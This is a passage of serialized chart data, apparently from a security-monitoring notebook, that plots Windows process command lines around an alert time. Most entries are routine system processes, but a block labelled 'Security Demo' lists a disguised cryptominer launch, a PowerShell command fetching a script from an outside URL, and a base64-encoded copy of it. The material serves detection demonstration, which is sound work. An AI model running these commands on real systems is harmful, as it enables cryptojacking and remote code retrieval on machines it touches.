(bottom)\"},\"id\":\"1552\",\"type\":\"Title\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1618\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"source\":{\"id\":\"1550\",\"type\":\"ColumnDataSource\"}},\"id\":\"1591\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1606\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"1615\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1569\",\"type\":\"BasicTicker\"},{\"attributes\":{\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"1599\",\"type\":\"Line\"},{\"attributes\":{},\"id\":\"1559\",\"type\":\"LinearScale\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"lightgrey\"},\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":{\"value\":1.0},\"line_color\":{\"value\":\"black\"},\"line_dash\":[4,4],\"line_width\":{\"value\":2},\"plot\":null,\"render_mode\":\"css\",\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"1580\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"1561\",\"type\":\"LinearScale\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1613\",\"type\":\"DaysTicker\"},{\"attributes\":{\"dimension\":1,\"plot\":{\"id\":\"1553\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1569\",\"type\":\"BasicTicker\"}},\"id\":\"1572\",\"type\":\"Grid\"},{\"attributes\":{\"data_source\":{\"id\":\"1598\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"1599\",\"type\":\"Line\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1600\",\"type\":\"Line\"},\"selection_glyph\":null,\"view\":{\"id\":\"1602\",\"type\":\"CDSView\"}},\"id\":\"1601\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"1585\",\"type\":\"DatetimeTickFormatter\"},\"plot\":{\"id\":\"1553\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1564\",\"type\":\"DatetimeTicker\"}},\"id\":\"1563\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"callback\":null,\"data\":{\"x\":[1550095422000.0,1550095422000.0],\"y\":[0,3]},\"selected\":{\"id\":\"1625\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"1624\",\"type\":\"UnionRenderers\"}},\"id\":\"1598\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"source\":{\"id\":\"1598\",\"type\":\"ColumnDataSource\"}},\"id\":\"1602\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1589\",\"type\":\"Circle\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1612\",\"type\":\"DaysTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"1609\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"data_source\":{\"id\":\"1550\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"1588\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1589\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"1591\",\"type\":\"CDSView\"}},\"id\":\"1590\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"1611\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"1622\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"1574\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"1608\",\"type\":\"AdaptiveTicker\"},{\"id\":\"1609\",\"type\":\"AdaptiveTicker\"},{\"id\":\"1610\",\"type\":\"AdaptiveTicker\"},{\"id\":\"1611\",\"type\":\"DaysTicker\"},{\"id\":\"1612\",\"type\":\"DaysTicker\"},{\"id\":\"1613\",\"type\":\"DaysTicker\"},{\"id\":\"1614\",\"type\":\"DaysTicker\"},{\"id\":\"1615\",\"type\":\"MonthsTicker\"},{\"id\":\"1616\",\"type\":\"MonthsTicker\"},{\"id\":\"1617\",\"type\":\"MonthsTicker\"},{\"id\":\"1618\",\"type\":\"MonthsTicker\"},{\"id\":\"1619\",\"type\":\"YearsTicker\"}]},\"id\":\"1564\",\"type\":\"DatetimeTicker\"},{\"attributes\":{},\"id\":\"1623\",\"type\":\"Selection\"},{\"attributes\":{\"data_source\":{\"id\":\"1592\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"1594\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"1595\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"1597\",\"type\":\"CDSView\"}},\"id\":\"1596\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"1576\",\"type\":\"ResetTool\"},{\"attributes\":{\"background_fill_color\":{\"value\":\"white\"},\"border_line_color\":{\"value\":\"red\"},\"plot\":{\"id\":\"1553\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"render_mode\":\"css\",\"text\":\"< Alert time\",\"x\":1550095422000.0,\"y\":0,\"y_offset\":10},\"id\":\"1603\",\"type\":\"Label\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1585\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{},\"id\":\"1621\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"1625\",\"type\":\"Selection\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"1617\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1619\",\"type\":\"YearsTicker\"},{\"attributes\":{\"plot\":{\"id\":\"1553\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"ticker\":{\"id\":\"1564\",\"type\":\"DatetimeTicker\"}},\"id\":\"1567\",\"type\":\"Grid\"},{\"attributes\":{\"source\":{\"id\":\"1592\",\"type\":\"ColumnDataSource\"}},\"id\":\"1597\",\"type\":\"CDSView\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"1551\",\"type\":\"HoverTool\"},{\"id\":\"1573\",\"type\":\"PanTool\"},{\"id\":\"1574\",\"type\":\"WheelZoomTool\"},{\"id\":\"1575\",\"type\":\"BoxZoomTool\"},{\"id\":\"1576\",\"type\":\"ResetTool\"}]},\"id\":\"1577\",\"type\":\"Toolbar\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"green\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"green\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1594\",\"type\":\"Circle\"},{\"attributes\":{\"callback\":null,\"data\":{\"CommandLine\":[\"\\\"cmd\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\WindowsAzure\\\\SecAgent\\\\WaSecAgentProv.exe\\\" -startPoll C:\\\\WindowsAzure\\\\Logs\\\\ 168.63.129.16 5248000 900000 21600000\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32 2\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmd  /c echo Begin Security Demo tasks\",\"cmd  /c echo Any questions about the commands executed here then please contact one of\",\"cmd  /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com\",\".\\\\suchost.exe   -a cryptonight -o bcn -u bond007.01 -p x -t 4\",\".\\\\powershell  -Noninteractive -Noprofile -Command \\\"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://wh401k.org/getps\\\"\",\".\\\\powershell  -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdldC1Qcm9jZXNzOyBJbnZva2UtV2ViUmVxdWVzdCAtVXJpIGh0dHA6Ly93aDQwMWsub3JnL2dldHBzIg==\",\"cmd  /c echo End Security Demo tasks\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\system32\\\\appidcertstorecheck.exe\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\system32\\\\usoclient.exe StartScan\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7ee6020e2207416d\\\\TiWorker.exe -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7ee6020e2207416d\\\\TiWorker.exe -Embedding\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\Resources\\\\884\\\\pmfexe.exe\\\" -PerfMode optimize -quickscan -event -json -alldetectors\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7ee6020e2207416d\\\\TiWorker.exe -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"CollectGuestLogs.exe\\\" -Mode:ga -FileName:C:\\\\WindowsAzure\\\\CollectGuestLogsTemp\\\\7a9d40f2-490e-4468-a8cf-b7822b95614d.zip\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF-64/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\Registry.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\Resources\\\\884\\\\pmfexe.exe\\\" -PerfMode optimize -quickscan -event -json -alldetectors\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua /installsource scheduler\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo 